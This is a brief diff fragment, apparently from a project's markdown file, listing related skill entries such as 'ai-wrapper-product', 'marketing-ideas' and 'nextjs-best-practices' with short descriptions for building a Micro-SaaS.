- `ai-wrapper-product` - Often the core of a modern Micro-SaaS
|
|
92
|
+
- `marketing-ideas` - For scaling
|
|
93
|
+
- `nextjs-best-practices` - For technical excellence
|